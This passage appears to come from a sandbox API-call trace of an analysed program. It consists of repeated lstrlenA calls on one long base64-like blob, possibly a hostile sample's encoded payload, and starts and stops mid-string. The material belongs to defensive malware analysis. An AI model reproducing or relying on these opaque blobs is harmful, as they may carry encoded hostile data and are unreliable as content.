ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.631] lstrlenA (lpString="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") returned 5820
	[0084.631] lstrlenA (lpString="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") returned 5820
	[0084.631] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6u